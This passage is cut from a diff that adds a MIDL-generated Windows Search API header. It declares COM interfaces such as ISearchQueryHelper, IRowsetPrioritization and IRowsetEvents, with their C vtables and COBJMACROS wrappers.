+    ( (This)->lpVtbl -> put_DataTimeout(This,dwDataTimeout) ) 
+
+#define ISearchCatalogManager2_get_DataTimeout(This,pdwDataTimeout)	\
+    ( (This)->lpVtbl -> get_DataTimeout(This,pdwDataTimeout) ) 
+
+#define ISearchCatalogManager2_NumberOfItems(This,plCount)	\
+    ( (This)->lpVtbl -> NumberOfItems(This,plCount) ) 
+
+#define ISearchCatalogManager2_NumberOfItemsToIndex(This,plIncrementalCount,plNotificationQueue,plHighPriorityQueue)	\
+    ( (This)->lpVtbl -> NumberOfItemsToIndex(This,plIncrementalCount,plNotificationQueue,plHighPriorityQueue) ) 
+
+#define ISearchCatalogManager2_URLBeingIndexed(This,pszUrl)	\
+    ( (This)->lpVtbl -> URLBeingIndexed(This,pszUrl) ) 
+
+#define ISearchCatalogManager2_GetURLIndexingState(This,pszURL,pdwState)	\
+    ( (This)->lpVtbl -> GetURLIndexingState(This,pszURL,pdwState) ) 
+
+#define ISearchCatalogManager2_GetPersistentItemsChangedSink(This,ppISearchPersistentItemsChangedSink)	\
+    ( (This)->lpVtbl -> GetPersistentItemsChangedSink(This,ppISearchPersistentItemsChangedSink) ) 
+
+#define ISearchCatalogManager2_RegisterViewForNotification(This,pszView,pViewChangedSink,pdwCookie)	\
+    ( (This)->lpVtbl -> RegisterViewForNotification(This,pszView,pViewChangedSink,pdwCookie) ) 
+
+#define ISearchCatalogManager2_GetItemsChangedSink(This,pISearchNotifyInlineSite,riid,ppv,pGUIDCatalogResetSignature,pGUIDCheckPointSignature,pdwLastCheckPointNumber)	\
+    ( (This)->lpVtbl -> GetItemsChangedSink(This,pISearchNotifyInlineSite,riid,ppv,pGUIDCatalogResetSignature,pGUIDCheckPointSignature,pdwLastCheckPointNumber) ) 
+
+#define ISearchCatalogManager2_UnregisterViewForNotification(This,dwCookie)	\
+    ( (This)->lpVtbl -> UnregisterViewForNotification(This,dwCookie) ) 
+
+#define ISearchCatalogManager2_SetExtensionClusion(This,pszExtension,fExclude)	\
+    ( (This)->lpVtbl -> SetExtensionClusion(This,pszExtension,fExclude) ) 
+
+#define ISearchCatalogManager2_EnumerateExcludedExtensions(This,ppExtensions)	\
+    ( (This)->lpVtbl -> EnumerateExcludedExtensions(This,ppExtensions) ) 
+
+#define ISearchCatalogManager2_GetQueryHelper(This,ppSearchQueryHelper)	\
+    ( (This)->lpVtbl -> GetQueryHelper(This,ppSearchQueryHelper) ) 
+
+#define ISearchCatalogManager2_put_DiacriticSensitivity(This,fDiacriticSensitive)	\
+    ( (This)->lpVtbl -> put_DiacriticSensitivity(This,fDiacriticSensitive) ) 
+
+#define ISearchCatalogManager2_get_DiacriticSensitivity(This,pfDiacriticSensitive)	\
+    ( (This)->lpVtbl -> get_DiacriticSensitivity(This,pfDiacriticSensitive) ) 
+
+#define ISearchCatalogManager2_GetCrawlScopeManager(This,ppCrawlScopeManager)	\
+    ( (This)->lpVtbl -> GetCrawlScopeManager(This,ppCrawlScopeManager) ) 
+
+
+#define ISearchCatalogManager2_PrioritizeMatchingURLs(This,pszPattern,dwPrioritizeFlags)	\
+    ( (This)->lpVtbl -> PrioritizeMatchingURLs(This,pszPattern,dwPrioritizeFlags) ) 
+
+#endif /* COBJMACROS */
+
+
+#endif 	/* C style interface */
+
+
+
+
+#endif 	/* __ISearchCatalogManager2_INTERFACE_DEFINED__ */
+
+
+/* interface __MIDL_itf_searchapi_0000_0021 */
+/* [local] */ 
+
+#endif /* WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP) */
+#pragma endregion
+#include <winapifamily.h>
+#pragma region Desktop Family
+#if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP)
+
+
+extern RPC_IF_HANDLE __MIDL_itf_searchapi_0000_0021_v0_0_c_ifspec;
+extern RPC_IF_HANDLE __MIDL_itf_searchapi_0000_0021_v0_0_s_ifspec;
+
+#ifndef __ISearchQueryHelper_INTERFACE_DEFINED__
+#define __ISearchQueryHelper_INTERFACE_DEFINED__
+
+/* interface ISearchQueryHelper */
+/* [unique][uuid][object] */ 
+
+typedef 
+enum _SEARCH_TERM_EXPANSION
+    {
+        SEARCH_TERM_NO_EXPANSION	= 0,
+        SEARCH_TERM_PREFIX_ALL	= ( SEARCH_TERM_NO_EXPANSION + 1 ) ,
+        SEARCH_TERM_STEM_ALL	= ( SEARCH_TERM_PREFIX_ALL + 1 ) 
+    } 	SEARCH_TERM_EXPANSION;
+
+typedef 
+enum _SEARCH_QUERY_SYNTAX
+    {
+        SEARCH_NO_QUERY_SYNTAX	= 0,
+        SEARCH_ADVANCED_QUERY_SYNTAX	= ( SEARCH_NO_QUERY_SYNTAX + 1 ) ,
+        SEARCH_NATURAL_QUERY_SYNTAX	= ( SEARCH_ADVANCED_QUERY_SYNTAX + 1 ) 
+    } 	SEARCH_QUERY_SYNTAX;
+
+typedef struct _SEARCH_COLUMN_PROPERTIES
+    {
+    PROPVARIANT Value;
+    LCID lcid;
+    } 	SEARCH_COLUMN_PROPERTIES;
+
+
+EXTERN_C const IID IID_ISearchQueryHelper;
+
+#if defined(__cplusplus) && !defined(CINTERFACE)
+    
+    MIDL_INTERFACE("AB310581-AC80-11D1-8DF3-00C04FB6EF63")
+    ISearchQueryHelper : public IUnknown
+    {
+    public:
+        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_ConnectionString( 
+            /* [string][retval][out] */ __RPC__deref_out_opt_string LPWSTR *pszConnectionString) = 0;
+        
+        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_QueryContentLocale( 
+            /* [in] */ LCID lcid) = 0;
+        
+        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_QueryContentLocale( 
+            /* [retval][out] */ __RPC__out LCID *plcid) = 0;
+        
+        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_QueryKeywordLocale( 
+            /* [in] */ LCID lcid) = 0;
+        
+        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_QueryKeywordLocale( 
+            /* [retval][out] */ __RPC__out LCID *plcid) = 0;
+        
+        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_QueryTermExpansion( 
+            /* [in] */ SEARCH_TERM_EXPANSION expandTerms) = 0;
+        
+        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_QueryTermExpansion( 
+            /* [retval][out] */ __RPC__out SEARCH_TERM_EXPANSION *pExpandTerms) = 0;
+        
+        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_QuerySyntax( 
+            /* [in] */ SEARCH_QUERY_SYNTAX querySyntax) = 0;
+        
+        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_QuerySyntax( 
+            /* [retval][out] */ __RPC__out SEARCH_QUERY_SYNTAX *pQuerySyntax) = 0;
+        
+        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_QueryContentProperties( 
+            /* [unique][string][in] */ __RPC__in_opt_string LPCWSTR pszContentProperties) = 0;
+        
+        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_QueryContentProperties( 
+            /* [retval][string][out] */ __RPC__deref_out_opt_string LPWSTR *ppszContentProperties) = 0;
+        
+        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_QuerySelectColumns( 
+            /* [unique][string][in] */ __RPC__in_opt_string LPCWSTR pszSelectColumns) = 0;
+        
+        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_QuerySelectColumns( 
+            /* [retval][string][out] */ __RPC__deref_out_opt_string LPWSTR *ppszSelectColumns) = 0;
+        
+        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_QueryWhereRestrictions( 
+            /* [unique][string][in] */ __RPC__in_opt_string LPCWSTR pszRestrictions) = 0;
+        
+        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_QueryWhereRestrictions( 
+            /* [retval][string][out] */ __RPC__deref_out_opt_string LPWSTR *ppszRestrictions) = 0;
+        
+        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_QuerySorting( 
+            /* [unique][string][in] */ __RPC__in_opt_string LPCWSTR pszSorting) = 0;
+        
+        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_QuerySorting( 
+            /* [retval][string][out] */ __RPC__deref_out_opt_string LPWSTR *ppszSorting) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE GenerateSQLFromUserQuery( 
+            /* [string][in] */ __RPC__in_string LPCWSTR pszQuery,
+            /* [string][retval][out] */ __RPC__deref_out_opt_string LPWSTR *ppszSQL) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE WriteProperties( 
+            /* [in] */ ITEMID itemID,
+            /* [in] */ DWORD dwNumberOfColumns,
+            /* [size_is][in] */ __RPC__in_ecount_full(dwNumberOfColumns) PROPERTYKEY *pColumns,
+            /* [size_is][in] */ __RPC__in_ecount_full(dwNumberOfColumns) SEARCH_COLUMN_PROPERTIES *pValues,
+            /* [unique][in] */ __RPC__in_opt FILETIME *pftGatherModifiedTime) = 0;
+        
+        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_QueryMaxResults( 
+            /* [in] */ LONG cMaxResults) = 0;
+        
+        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_QueryMaxResults( 
+            /* [retval][out] */ __RPC__out LONG *pcMaxResults) = 0;
+        
+    };
+    
+    
+#else 	/* C style interface */
+
+    typedef struct ISearchQueryHelperVtbl
+    {
+        BEGIN_INTERFACE
+        
+        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( 
+            __RPC__in ISearchQueryHelper * This,
+            /* [in] */ __RPC__in REFIID riid,
+            /* [annotation][iid_is][out] */ 
+            _COM_Outptr_  void **ppvObject);
+        
+        ULONG ( STDMETHODCALLTYPE *AddRef )( 
+            __RPC__in ISearchQueryHelper * This);
+        
+        ULONG ( STDMETHODCALLTYPE *Release )( 
+            __RPC__in ISearchQueryHelper * This);
+        
+        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ConnectionString )( 
+            __RPC__in ISearchQueryHelper * This,
+            /* [string][retval][out] */ __RPC__deref_out_opt_string LPWSTR *pszConnectionString);
+        
+        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_QueryContentLocale )( 
+            __RPC__in ISearchQueryHelper * This,
+            /* [in] */ LCID lcid);
+        
+        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_QueryContentLocale )( 
+            __RPC__in ISearchQueryHelper * This,
+            /* [retval][out] */ __RPC__out LCID *plcid);
+        
+        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_QueryKeywordLocale )( 
+            __RPC__in ISearchQueryHelper * This,
+            /* [in] */ LCID lcid);
+        
+        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_QueryKeywordLocale )( 
+            __RPC__in ISearchQueryHelper * This,
+            /* [retval][out] */ __RPC__out LCID *plcid);
+        
+        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_QueryTermExpansion )( 
+            __RPC__in ISearchQueryHelper * This,
+            /* [in] */ SEARCH_TERM_EXPANSION expandTerms);
+        
+        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_QueryTermExpansion )( 
+            __RPC__in ISearchQueryHelper * This,
+            /* [retval][out] */ __RPC__out SEARCH_TERM_EXPANSION *pExpandTerms);
+        
+        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_QuerySyntax )( 
+            __RPC__in ISearchQueryHelper * This,
+            /* [in] */ SEARCH_QUERY_SYNTAX querySyntax);
+        
+        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_QuerySyntax )( 
+            __RPC__in ISearchQueryHelper * This,
+            /* [retval][out] */ __RPC__out SEARCH_QUERY_SYNTAX *pQuerySyntax);
+        
+        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_QueryContentProperties )( 
+            __RPC__in ISearchQueryHelper * This,
+            /* [unique][string][in] */ __RPC__in_opt_string LPCWSTR pszContentProperties);
+        
+        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_QueryContentProperties )( 
+            __RPC__in ISearchQueryHelper * This,
+            /* [retval][string][out] */ __RPC__deref_out_opt_string LPWSTR *ppszContentProperties);
+        
+        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_QuerySelectColumns )( 
+            __RPC__in ISearchQueryHelper * This,
+            /* [unique][string][in] */ __RPC__in_opt_string LPCWSTR pszSelectColumns);
+        
+        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_QuerySelectColumns )( 
+            __RPC__in ISearchQueryHelper * This,
+            /* [retval][string][out] */ __RPC__deref_out_opt_string LPWSTR *ppszSelectColumns);
+        
+        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_QueryWhereRestrictions )( 
+            __RPC__in ISearchQueryHelper * This,
+            /* [unique][string][in] */ __RPC__in_opt_string LPCWSTR pszRestrictions);
+        
+        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_QueryWhereRestrictions )( 
+            __RPC__in ISearchQueryHelper * This,
+            /* [retval][string][out] */ __RPC__deref_out_opt_string LPWSTR *ppszRestrictions);
+        
+        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_QuerySorting )( 
+            __RPC__in ISearchQueryHelper * This,
+            /* [unique][string][in] */ __RPC__in_opt_string LPCWSTR pszSorting);
+        
+        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_QuerySorting )( 
+            __RPC__in ISearchQueryHelper * This,
+            /* [retval][string][out] */ __RPC__deref_out_opt_string LPWSTR *ppszSorting);
+        
+        HRESULT ( STDMETHODCALLTYPE *GenerateSQLFromUserQuery )( 
+            __RPC__in ISearchQueryHelper * This,
+            /* [string][in] */ __RPC__in_string LPCWSTR pszQuery,
+            /* [string][retval][out] */ __RPC__deref_out_opt_string LPWSTR *ppszSQL);
+        
+        HRESULT ( STDMETHODCALLTYPE *WriteProperties )( 
+            __RPC__in ISearchQueryHelper * This,
+            /* [in] */ ITEMID itemID,
+            /* [in] */ DWORD dwNumberOfColumns,
+            /* [size_is][in] */ __RPC__in_ecount_full(dwNumberOfColumns) PROPERTYKEY *pColumns,
+            /* [size_is][in] */ __RPC__in_ecount_full(dwNumberOfColumns) SEARCH_COLUMN_PROPERTIES *pValues,
+            /* [unique][in] */ __RPC__in_opt FILETIME *pftGatherModifiedTime);
+        
+        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_QueryMaxResults )( 
+            __RPC__in ISearchQueryHelper * This,
+            /* [in] */ LONG cMaxResults);
+        
+        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_QueryMaxResults )( 
+            __RPC__in ISearchQueryHelper * This,
+            /* [retval][out] */ __RPC__out LONG *pcMaxResults);
+        
+        END_INTERFACE
+    } ISearchQueryHelperVtbl;
+
+    interface ISearchQueryHelper
+    {
+        CONST_VTBL struct ISearchQueryHelperVtbl *lpVtbl;
+    };
+
+    
+
+#ifdef COBJMACROS
+
+
+#define ISearchQueryHelper_QueryInterface(This,riid,ppvObject)	\
+    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) 
+
+#define ISearchQueryHelper_AddRef(This)	\
+    ( (This)->lpVtbl -> AddRef(This) ) 
+
+#define ISearchQueryHelper_Release(This)	\
+    ( (This)->lpVtbl -> Release(This) ) 
+
+
+#define ISearchQueryHelper_get_ConnectionString(This,pszConnectionString)	\
+    ( (This)->lpVtbl -> get_ConnectionString(This,pszConnectionString) ) 
+
+#define ISearchQueryHelper_put_QueryContentLocale(This,lcid)	\
+    ( (This)->lpVtbl -> put_QueryContentLocale(This,lcid) ) 
+
+#define ISearchQueryHelper_get_QueryContentLocale(This,plcid)	\
+    ( (This)->lpVtbl -> get_QueryContentLocale(This,plcid) ) 
+
+#define ISearchQueryHelper_put_QueryKeywordLocale(This,lcid)	\
+    ( (This)->lpVtbl -> put_QueryKeywordLocale(This,lcid) ) 
+
+#define ISearchQueryHelper_get_QueryKeywordLocale(This,plcid)	\
+    ( (This)->lpVtbl -> get_QueryKeywordLocale(This,plcid) ) 
+
+#define ISearchQueryHelper_put_QueryTermExpansion(This,expandTerms)	\
+    ( (This)->lpVtbl -> put_QueryTermExpansion(This,expandTerms) ) 
+
+#define ISearchQueryHelper_get_QueryTermExpansion(This,pExpandTerms)	\
+    ( (This)->lpVtbl -> get_QueryTermExpansion(This,pExpandTerms) ) 
+
+#define ISearchQueryHelper_put_QuerySyntax(This,querySyntax)	\
+    ( (This)->lpVtbl -> put_QuerySyntax(This,querySyntax) ) 
+
+#define ISearchQueryHelper_get_QuerySyntax(This,pQuerySyntax)	\
+    ( (This)->lpVtbl -> get_QuerySyntax(This,pQuerySyntax) ) 
+
+#define ISearchQueryHelper_put_QueryContentProperties(This,pszContentProperties)	\
+    ( (This)->lpVtbl -> put_QueryContentProperties(This,pszContentProperties) ) 
+
+#define ISearchQueryHelper_get_QueryContentProperties(This,ppszContentProperties)	\
+    ( (This)->lpVtbl -> get_QueryContentProperties(This,ppszContentProperties) ) 
+
+#define ISearchQueryHelper_put_QuerySelectColumns(This,pszSelectColumns)	\
+    ( (This)->lpVtbl -> put_QuerySelectColumns(This,pszSelectColumns) ) 
+
+#define ISearchQueryHelper_get_QuerySelectColumns(This,ppszSelectColumns)	\
+    ( (This)->lpVtbl -> get_QuerySelectColumns(This,ppszSelectColumns) ) 
+
+#define ISearchQueryHelper_put_QueryWhereRestrictions(This,pszRestrictions)	\
+    ( (This)->lpVtbl -> put_QueryWhereRestrictions(This,pszRestrictions) ) 
+
+#define ISearchQueryHelper_get_QueryWhereRestrictions(This,ppszRestrictions)	\
+    ( (This)->lpVtbl -> get_QueryWhereRestrictions(This,ppszRestrictions) ) 
+
+#define ISearchQueryHelper_put_QuerySorting(This,pszSorting)	\
+    ( (This)->lpVtbl -> put_QuerySorting(This,pszSorting) ) 
+
+#define ISearchQueryHelper_get_QuerySorting(This,ppszSorting)	\
+    ( (This)->lpVtbl -> get_QuerySorting(This,ppszSorting) ) 
+
+#define ISearchQueryHelper_GenerateSQLFromUserQuery(This,pszQuery,ppszSQL)	\
+    ( (This)->lpVtbl -> GenerateSQLFromUserQuery(This,pszQuery,ppszSQL) ) 
+
+#define ISearchQueryHelper_WriteProperties(This,itemID,dwNumberOfColumns,pColumns,pValues,pftGatherModifiedTime)	\
+    ( (This)->lpVtbl -> WriteProperties(This,itemID,dwNumberOfColumns,pColumns,pValues,pftGatherModifiedTime) ) 
+
+#define ISearchQueryHelper_put_QueryMaxResults(This,cMaxResults)	\
+    ( (This)->lpVtbl -> put_QueryMaxResults(This,cMaxResults) ) 
+
+#define ISearchQueryHelper_get_QueryMaxResults(This,pcMaxResults)	\
+    ( (This)->lpVtbl -> get_QueryMaxResults(This,pcMaxResults) ) 
+
+#endif /* COBJMACROS */
+
+
+#endif 	/* C style interface */
+
+
+
+
+#endif 	/* __ISearchQueryHelper_INTERFACE_DEFINED__ */
+
+
+/* interface __MIDL_itf_searchapi_0000_0022 */
+/* [local] */ 
+
+typedef /* [public][public][public][v1_enum] */ 
+enum __MIDL___MIDL_itf_searchapi_0000_0022_0001
+    {
+        PRIORITY_LEVEL_FOREGROUND	= 0,
+        PRIORITY_LEVEL_HIGH	= 1,
+        PRIORITY_LEVEL_LOW	= 2,
+        PRIORITY_LEVEL_DEFAULT	= 3
+    } 	PRIORITY_LEVEL;
+
+
+
+extern RPC_IF_HANDLE __MIDL_itf_searchapi_0000_0022_v0_0_c_ifspec;
+extern RPC_IF_HANDLE __MIDL_itf_searchapi_0000_0022_v0_0_s_ifspec;
+
+#ifndef __IRowsetPrioritization_INTERFACE_DEFINED__
+#define __IRowsetPrioritization_INTERFACE_DEFINED__
+
+/* interface IRowsetPrioritization */
+/* [unique][uuid][object] */ 
+
+
+EXTERN_C const IID IID_IRowsetPrioritization;
+
+#if defined(__cplusplus) && !defined(CINTERFACE)
+    
+    MIDL_INTERFACE("42811652-079D-481B-87A2-09A69ECC5F44")
+    IRowsetPrioritization : public IUnknown
+    {
+    public:
+        virtual HRESULT STDMETHODCALLTYPE SetScopePriority( 
+            /* [in] */ PRIORITY_LEVEL priority,
+            /* [in] */ DWORD scopeStatisticsEventFrequency) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE GetScopePriority( 
+            /* [out] */ __RPC__out PRIORITY_LEVEL *priority,
+            /* [out] */ __RPC__out DWORD *scopeStatisticsEventFrequency) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE GetScopeStatistics( 
+            /* [out] */ __RPC__out DWORD *indexedDocumentCount,
+            /* [out] */ __RPC__out DWORD *oustandingAddCount,
+            /* [out] */ __RPC__out DWORD *oustandingModifyCount) = 0;
+        
+    };
+    
+    
+#else 	/* C style interface */
+
+    typedef struct IRowsetPrioritizationVtbl
+    {
+        BEGIN_INTERFACE
+        
+        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( 
+            __RPC__in IRowsetPrioritization * This,
+            /* [in] */ __RPC__in REFIID riid,
+            /* [annotation][iid_is][out] */ 
+            _COM_Outptr_  void **ppvObject);
+        
+        ULONG ( STDMETHODCALLTYPE *AddRef )( 
+            __RPC__in IRowsetPrioritization * This);
+        
+        ULONG ( STDMETHODCALLTYPE *Release )( 
+            __RPC__in IRowsetPrioritization * This);
+        
+        HRESULT ( STDMETHODCALLTYPE *SetScopePriority )( 
+            __RPC__in IRowsetPrioritization * This,
+            /* [in] */ PRIORITY_LEVEL priority,
+            /* [in] */ DWORD scopeStatisticsEventFrequency);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetScopePriority )( 
+            __RPC__in IRowsetPrioritization * This,
+            /* [out] */ __RPC__out PRIORITY_LEVEL *priority,
+            /* [out] */ __RPC__out DWORD *scopeStatisticsEventFrequency);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetScopeStatistics )( 
+            __RPC__in IRowsetPrioritization * This,
+            /* [out] */ __RPC__out DWORD *indexedDocumentCount,
+            /* [out] */ __RPC__out DWORD *oustandingAddCount,
+            /* [out] */ __RPC__out DWORD *oustandingModifyCount);
+        
+        END_INTERFACE
+    } IRowsetPrioritizationVtbl;
+
+    interface IRowsetPrioritization
+    {
+        CONST_VTBL struct IRowsetPrioritizationVtbl *lpVtbl;
+    };
+
+    
+
+#ifdef COBJMACROS
+
+
+#define IRowsetPrioritization_QueryInterface(This,riid,ppvObject)	\
+    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) 
+
+#define IRowsetPrioritization_AddRef(This)	\
+    ( (This)->lpVtbl -> AddRef(This) ) 
+
+#define IRowsetPrioritization_Release(This)	\
+    ( (This)->lpVtbl -> Release(This) ) 
+
+
+#define IRowsetPrioritization_SetScopePriority(This,priority,scopeStatisticsEventFrequency)	\
+    ( (This)->lpVtbl -> SetScopePriority(This,priority,scopeStatisticsEventFrequency) ) 
+
+#define IRowsetPrioritization_GetScopePriority(This,priority,scopeStatisticsEventFrequency)	\
+    ( (This)->lpVtbl -> GetScopePriority(This,priority,scopeStatisticsEventFrequency) ) 
+
+#define IRowsetPrioritization_GetScopeStatistics(This,indexedDocumentCount,oustandingAddCount,oustandingModifyCount)	\
+    ( (This)->lpVtbl -> GetScopeStatistics(This,indexedDocumentCount,oustandingAddCount,oustandingModifyCount) ) 
+
+#endif /* COBJMACROS */
+
+
+#endif 	/* C style interface */
+
+
+
+
+#endif 	/* __IRowsetPrioritization_INTERFACE_DEFINED__ */
+
+
+/* interface __MIDL_itf_searchapi_0000_0023 */
+/* [local] */ 
+
+typedef /* [public][public][public][public][public][v1_enum] */ 
+enum __MIDL___MIDL_itf_searchapi_0000_0023_0001
+    {
+        ROWSETEVENT_ITEMSTATE_NOTINROWSET	= 0,
+        ROWSETEVENT_ITEMSTATE_INROWSET	= 1,
+        ROWSETEVENT_ITEMSTATE_UNKNOWN	= 2
+    } 	ROWSETEVENT_ITEMSTATE;
+
+typedef /* [public][public][v1_enum] */ 
+enum __MIDL___MIDL_itf_searchapi_0000_0023_0002
+    {
+        ROWSETEVENT_TYPE_DATAEXPIRED	= 0,
+        ROWSETEVENT_TYPE_FOREGROUNDLOST	= 1,
+        ROWSETEVENT_TYPE_SCOPESTATISTICS	= 2
+    } 	ROWSETEVENT_TYPE;
+
+
+
+extern RPC_IF_HANDLE __MIDL_itf_searchapi_0000_0023_v0_0_c_ifspec;
+extern RPC_IF_HANDLE __MIDL_itf_searchapi_0000_0023_v0_0_s_ifspec;
+
+#ifndef __IRowsetEvents_INTERFACE_DEFINED__
+#define __IRowsetEvents_INTERFACE_DEFINED__
+
+/* interface IRowsetEvents */
+/* [unique][uuid][object] */ 
+
+
+EXTERN_C const IID IID_IRowsetEvents;
+
+#if defined(__cplusplus) && !defined(CINTERFACE)
+    
+    MIDL_INTERFACE("1551AEA5-5D66-4B11-86F5-D5634CB211B9")
+    IRowsetEvents : public IUnknown
+    {
+    public:
+        virtual HRESULT STDMETHODCALLTYPE OnNewItem( 
+            /* [in] */ __RPC__in REFPROPVARIANT itemID,
+            /* [in] */ ROWSETEVENT_ITEMSTATE newItemState) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE OnChangedItem( 
+            /* [in] */ __RPC__in REFPROPVARIANT itemID,
+            /* [in] */ ROWSETEVENT_ITEMSTATE rowsetItemState,
+            /* [in] */ ROWSETEVENT_ITEMSTATE changedItemState) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE OnDeletedItem( 
+            /* [in] */ __RPC__in REFPROPVARIANT itemID,
+            /* [in] */ ROWSETEVENT_ITEMSTATE deletedItemState) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE OnRowsetEvent( 
+            /* [in] */ ROWSETEVENT_TYPE eventType,
+            /* [in] */ __RPC__in REFPROPVARIANT eventData) = 0;
+        
+    };
+    
+    
+#else 	/* C style interface */
+
+    typedef struct IRowsetEventsVtbl
+    {
+        BEGIN_INTERFACE
+        
+        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( 
+            __RPC__in IRowsetEvents * This,
+            /* [in] */ __RPC__in REFIID riid,
+            /* [annotation][iid_is][out] */ 
+            _COM_Outptr_  void **ppvObject);
+        
+        ULONG ( STDMETHODCALLTYPE *AddRef )( 
+            __RPC__in IRowsetEvents * This);
+        
+        ULONG ( STDMETHODCALLTYPE *Release )( 
+            __RPC__in IRowsetEvents * This);
+        
+        HRESULT ( STDMETHODCALLTYPE *OnNewItem )( 
+            __RPC__in IRowsetEvents * This,
+            /* [in] */ __RPC__in REFPROPVARIANT itemID,
+            /* [in] */ ROWSETEVENT_ITEMSTATE newItemState);
+        
+        HRESULT ( STDMETHODCALLTYPE *OnChangedItem )( 
+            __RPC__in IRowsetEvents * This,
+            /* [in] */ __RPC__in REFPROPVARIANT itemID,
+            /* [in] */ ROWSETEVENT_ITEMSTATE rowsetItemState,
+            /* [in] */ ROWSETEVENT_ITEMSTATE changedItemState);
+        
+        HRESULT ( STDMETHODCALLTYPE *OnDeletedItem )( 
+            __RPC__in IRowsetEvents * This,
+            /* [in] */ __RPC__in REFPROPVARIANT itemID,
+            /* [in] */ ROWSETEVENT_ITEMSTATE deletedItemState);
+        
+        HRESULT ( STDMETHODCALLTYPE *OnRowsetEvent )( 
+            __RPC__in IRowsetEvents * This,
+            /* [in] */ ROWSETEVENT_TYPE eventType,
+            /* [in] */ __RPC__in REFPROPVARIANT eventData);
+        
+        END_INTERFACE
+    } IRowsetEventsVtbl;
+
+    interface IRowsetEvents
+    {
+        CONST_VTBL struct IRowsetEventsVtbl *lpVtbl;
+    };
+
+    
+
+#ifdef COBJMACROS
+
+
+#define IRowsetEvents_QueryInterface(This,riid,ppvObject)	\
+    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) 
+
+#define IRowsetEvents_AddRef(This)	\
+    ( (This)->lpVtbl -> AddRef(This) ) 
+
+#define IRowsetEvents_Release(This)	\
+    ( (This)->lpVtbl -> Release(This) ) 
+
+
+#define IRowsetEvents_OnNewItem(This,itemID,newItemState)	\
+    ( (This)->lpVtbl -> OnNewItem(This,itemID,newItemState) ) 
+
+#define IRowsetEvents_OnChangedItem(This,itemID,rowsetItemState,changedItemState)	\
+    ( (This)->lpVtbl -> OnChangedItem(This,itemID,rowsetItemState,changedItemState) ) 
+
+#define IRowsetEvents_OnDeletedItem(This,itemID,deletedItemState)	\
+    ( (This)->lpVtbl -> OnDeletedItem(This,itemID,deletedItemState) ) 
+
+#define IRowsetEvents_OnRowsetEvent(This,eventType,eventData)	\
+    ( (This)->lpVtbl -> OnRowsetEvent(This,eventType,eventData) ) 
+
+#endif /* COBJMACROS */
+
+
+#endif 	/* C style interface */
+
+
+
+
+#endif 	/* __IRowsetEvents_INTERFACE_DEFINED__ */
+
+
+/* interface __MIDL_itf_searchapi_0000_0024 */
+/* [local] */ 
+
+#endif /* WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP) */
+#pragma endregion
+#include <winapifamily.h>
+#pragma region Desktop Family
+#if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP)
+
+
+extern RPC_IF_HANDLE __MIDL_itf_searchapi_0000_0024_v0_0_c_ifspec;
+extern RPC_IF_HANDLE __MIDL_itf_searchapi_0000_0024_v0_0_s_ifspec;
+
+#ifndef __ISearchManager_INTERFACE_DEFINED__
+#define __ISearchManager_INTERFACE_DEFINED__
+
+/* interface ISearchManager */
+/* [unique][uuid][object] */ 
+
+
+EXTERN_C const IID IID_ISearchManager;
+
+#if defined(__cplusplus) && !defined(CINTERFACE)
+    
+    MIDL_INTERFACE("AB310581-AC80-11D1-8DF3-00C04FB6EF69")
+    ISearchManager : public IUnknown
+    {
+    public:
+        virtual HRESULT STDMETHODCALLTYPE GetIndexerVersionStr( 
